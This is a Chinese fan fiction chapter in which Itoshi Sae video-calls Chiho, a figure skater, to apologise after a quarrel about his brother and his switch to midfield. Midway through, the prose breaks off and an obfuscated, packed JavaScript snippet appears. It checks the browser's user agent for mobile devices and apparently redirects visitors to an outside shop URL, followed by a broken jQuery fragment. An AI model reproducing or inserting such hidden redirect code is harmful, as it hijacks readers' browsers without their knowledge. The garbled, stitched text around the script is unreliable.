糸师冴一直有关注洁千穗的比赛、包括表演滑。


    他还会保存录像。


    从来都是如此。


    即使在那天吵架后、即使刚踢完一场练习赛。


    ……所以,他是在更衣室里看完那段双人滑表演的。


    手机屏幕不大,但足够看清每一个动作。红与黑,同步跳跃,托举,螺旋线,旋转——两个人的身体在冰面上交缠又分开,像两团纠缠在一起的火。他早就注意到她的红色头发,比平时张扬,比平时更出彩的颜色。


    他还注意到她看向那个搭档的眼神——带着笑的、让人移不开视线的眼神。


    他把手机扣在柜子里。


    旁边有人说了句什么,好像是队友,用西班牙语。


    他没听清。


    他只是站在那里,手还搭在柜门上,手指不知什么时候收紧了。队友的声音从很远的地方飘过来,带着一种小心翼翼的语气。大概说了什么“表情很可怕”之类的话。


    糸师冴没有理会。他重新拿起手机,把那个视频又看了一遍。这次他注意的不是她,是那个男单选手。他知道这家伙原本是金发,黑发是染的,大概是为了配合表演。站在她旁边的时候比她高一个头,托举的时候手很稳。但冴总觉得他放下来的时候手指在她腰上停留时间太长了。


    他把手机收进了口袋。


    更衣室的灯光是白色的,照得每个人的脸都有些发白。队友们陆续收拾完东西走了,有人在门口朝他挥挥手说了句什么,他点了点头,大概是“明天见”之类的。门关上的声音在空旷的更衣室里回响了一下。


    糸师冴坐在长椅上,双手搭在膝盖上。他的手腕上戴着那两条手链,一黑一白,训练和比赛的时候当然不能戴着——但他日常时候会戴,比如现在。


    他低头看着自己看视频前套上的两条手链。


    ……他们都知道这串手链的含义。


    他于是想起她那天晚上说的话。


    她说“常年在外我怎么可能一点都不知道那些东西”,她的眼眶红了,但没有哭。他认识她十二年,从六岁到十八岁,从神奈川的院子到马德里的机场。他见过她摔到膝盖淤青还咬牙爬起来的样子,见过她站在领奖台中央闪光灯铺天盖地落下来的样子,见过她笑着冲他挥手说“明年见”的样子。


    只是,对方红眼眶的样子他确实没见过。


    从小到大,她弟弟洁世一倒是哭过很多次、甚至凛小时候哭的样子他也记得,却完全没有对方流眼泪的记忆。


    那晚在球场上,她拽着他的衣领,力气大到领口被攥出深深的褶皱。他掰开她手指的时候,感觉到她的指尖是凉的。十二月的雪落在他们交握的手上,化了又落,落了又化。他说“你以为自己有多了解我”,她说“那你就觉得自己很了解我”。两个人都愣住了,像两只互相撕咬的兽,在某个瞬间同时意识到对方也在流血。


    他把手链往上推了推,露出腕骨。那天她拽着他衣领的时候,他握住她的手腕,骨节硌在她的腕骨上。他记得那个触感,凉,硬,像冰面。


    他忽然有点烦躁,站起来,走到窗边。窗外是马德里的夜景,和平时没什么两样。远处的路灯连成一条光带,延伸到看不见的地方。


    手机又震了一下。他掏出来看,不是她的消息。是经纪人发来的,问他怎么还没出来。他回了“。”,默了三秒,把对话框关掉,切到另一个人的头像。


    她的头像是一张白色乌鸦玩偶的照片,大概是粉丝送的。最后一条消息还是他发的“恭喜”,她没回。那是冬奥的事了,现在已经过了快半个月,她看了,还是没回。


    他把手机握在手心里,屏幕暗下去又亮起来。他点开她的头像,又退出去,如此反复了几次。最后他拨了视频通话。


    响了三声。然后她接了。


    屏幕里的她穿着宽松的运动服,头发扎成马尾,正坐在瑜伽垫上,一条腿盘着,另一条腿伸直,身体向前折叠。她的头发还是红色的,比表演那天暗了一点,可能是灯光是原因。脸上的妆卸干净了,面色红润,状态很好。


    “什么事?”她问。声音很平,不是那天生气时的暴躁,却是客气的、疏离的、像对着一个不太熟的人说话。


    冴的手指在膝盖上收紧了。


    “那天,我说的话太过分了。”他说,声音比他预想的要低,带着一种自己都没察觉的沙哑。


    千穗的动作停了一下。她直起身,把盘着的那条腿放下来,改成双腿伸直坐好。动作很慢,像是刻意在控制什么。


    她没有说话,只是看着屏幕里的他。


    那个眼神让他想起她站在冰场中央看向观众席的眼神,不是看某个人,是看所有人,带着一种笃定的、毋庸置疑的平静。


    他忽然意识到,她从来都是这样的。不是没有情绪,是把情绪压得比任何人都深。


    “我不该把那些情绪迁怒到你身上。”他说。没有铺垫,没有解释,只是陈述,像他在球场上接到球就射门一样,干脆利落。


    千穗看着他,沉默了几秒。


    “嗯。”她说,声音比刚才软了一点,但还是没有笑,“我知道。”


    冴的手指松开了,又收紧了。


    他发现自己居然不知道接下来该说什么。他擅长分析战术,擅长在球场上找到对手防线的缝隙,擅长用最精准的语言指出队友的失误。但对着屏幕里这个红发的、穿着宽松运动服的人,他忽然不知道该说什么。


    这和他向来自我直白的说法方式很不合。


    “……所以,对不起。”他只能这么道。


    千穗看着他,嘴角动了动。不是笑,是那种想说什么又咽回去的表情。


    “糸师冴,”她开口了,声音比他预想的要平静,“我们都知道凛小时候是什么样的。他喜欢弄坏玩具、看动物世界猎食者捕猎时兴奋的样子,你比我更清楚。”


    冴没有说话。


    “你想要激发他那种喜欢破坏的天性,用到足球上,我不反对。”千穗说,“我甚至能理解你让凛的目标锁定在自己身上的用意。”


    她的语气很平,像在陈述一件早就想好了的事。“而且你应该没觉得自己和凛吵架有什么大问题吧?”


    “……嗯。”冴说,“我当时确实说错话了。你很了解我。”


    他说这话的时候语气和平时没什么两样,直来直往的,像在说今天的训练强度还行。


    千穗看了他一眼,那眼神有点复杂,像是在说“你这个人”之类的什么。


    “你骂世一也是故意的。”她说,不是疑问。


    冴沉默了一秒,“……他踢球太温吞了。明明有天赋,但一直顾虑别人的想法,等他反应过来早就错过了。”


    “所以你就用那种方式骂他?”千穗的声音稍微高了一点,但还是没有生气,更像是无奈。


    “你弟弟比凛更自我。”冴说,“他不会因为别人几句话就放弃。”


    千穗盯着他看了两秒,然后叹了口气。


    “你倒是挺了解他的。”


    冴没接话。他当然了解洁世一。那家伙从四岁开始就跟着姐姐来看他比赛,每次都站在场边眼睛亮晶晶的,却从来只是将注意力放在足球上,如同他的姐姐在冰上那样自我。


    千穗换了个姿势,把腿盘起来,双手搭在膝盖上。


    “那你知道我为什么生气吗?”她问。


    冴看着她,“因为我说你不了解足球。”


    千穗摇头,“不全是。”


    她顿了顿,像是在组织语言。


    “你骂凛的那些话,是因为你想让他自己找到踢球的理由,而不是一直跟在你后面。这个我能理解,你们理念不合。”她看着他,“但你掰开我手指的时候,说‘不了解就别指手画脚’的时候,我确实很生气。”


    冴的手指微微收紧了。


    “不是因为你骂我。”千穗说,“是因为你明明作出决定的那天都找我了,我以为你会把我的提议听进去。结果到头来你还是选择一个人扛着那些东西,不跟我说也不跟家人说,回来就把所有人都推开。你觉得这样很酷吗?”


    她的声音还是平的,很冷静,冷静之下是令冴难言的理智宽和。</


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17392119|199124||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>


    那晚在球场上,她说“早点告诉凛、跟他好好沟通”,他说“不了解就别指手画脚”。两个人都说了过分的话,两个人都戳到了对方最痛的地方。她痛的是被否认——否认她的关心,否认她十二年来试图理解他的所有努力。他痛的是被看穿——看穿他的失败,看穿他不想让任何人知道的、关于那个球场上的自己的所有不堪。


    他有些庆幸她的理性、又有些讨厌。


    “凛的事,我会处理。”他说。


    千穗看了他一眼,嘴角弯了一下。很淡,但确实弯了。


    “嗯,这点我相信你。”


    冴的手指松开了一点。


    千穗再次把腿伸直,靠在身后的墙上,姿态比刚才放松了些。


    “我也得承认,我说你‘被踢得觉得自己没有前锋才能’说错话了。”


    冴摇摇头,“你没有说错。”


    千穗愣了一下。


    “我被淘汰了。”他说,声音很平,像在说别人的事。“在西班牙,见过比我更厉害的人,也试过所有办法。最后发现,我的才能更适合中场。前锋不是不能踢,但想成为世界第一,前锋不够。”


    他说完了。


    这些话他从来没跟任何人说过,包括凛,包括父母,包括经纪人。他只是做了决定,然后执行。不需要解释,不需要理解,更不需要安慰。现在对着屏幕里这个染了红发的、抱着膝盖坐在瑜伽垫上的人,他把这些话说出来了。不是因为想要对方更宽容然后谅解他,只是想说、并觉得自己有义务说这些。


    千穗沉默了很久。


    “那你觉得自己在中场,”她说,“能成为世界第一吗?”


    冴看着她,“能。”


    千穗点了点头,“那就行。”


    就这几个字。和那天马德里晚上一样,没有问“为什么”,只说“那就行”,像是确认一件很简单的事:他知道自己要什么,他能做到,那就够了。


    冴忽然觉得胸口那个堵了几个月的东西松了一点。


    没有完全松开,但这一点也够了。


    像冰面裂开第一道缝,水还没流出来,但光已经透进去了。


    “五月份,”他说,“我们在日本国立体育馆有比赛。”


    千穗眨眨眼,“所以?”


    “票给你留了。”他说,“来吗?”


    千穗看着他,看了很久,久到冴以为她不会回答了。


    然后她笑了,眼睛弯成月牙的、嘴角翘起来。


    冴想到了小时候,她趴在窗口看他颠球说“你球颠得真好,能教我吗”时的笑。


    “来。”她说,“当然来。”


    冴点了点头,“嗯。”


    两个人对视着,谁都没说话。屏幕里的她坐在瑜伽垫上,头发还是红色的,有点乱。屏幕里的他坐在更衣室的长椅上,穿着训练服,手腕上戴着两条手链。


    “你该睡了。”冴说


    “你也是。”


    “……嗯。”


    千穗伸出手,大概是要挂断。但手指悬在屏幕上方,停了一下。


    “冴。”


    “嗯?”


    “这不代表我原谅你了,你还没跟世一他们道歉。”她用那双蓝眼睛认真地望着他、穿透了屏幕。


    冴却意外地感到愉悦。


    松石绿的眼睛同样望着她,他们像是在对视。


    “嗯。”他轻声道。


    千穗挂断了视频通话。


    冴坐在长椅上,手机握在手心里,屏幕的光映在他脸上。更衣室很安静,只有空调运转的嗡嗡声。他低头看着手腕上的手链,黑白交叠的颜色,和足球一样。


    他忽然想起很久以前,大概是刚去西班牙的第一个冬天。马德里下了很大的雪,他站在宿舍窗前,看着外面白茫茫的一片,想起神奈川的雪,想起镰仓的海,想起她趴在窗台上数他颠球的样子。那时候他刚学会用西班牙语进行日常交流,刚学会在训练结束后自己去超市买晚饭,刚学会在深夜对着天花板消化一切……他不再想了。


    他把手机收进口袋,站起来,关了灯。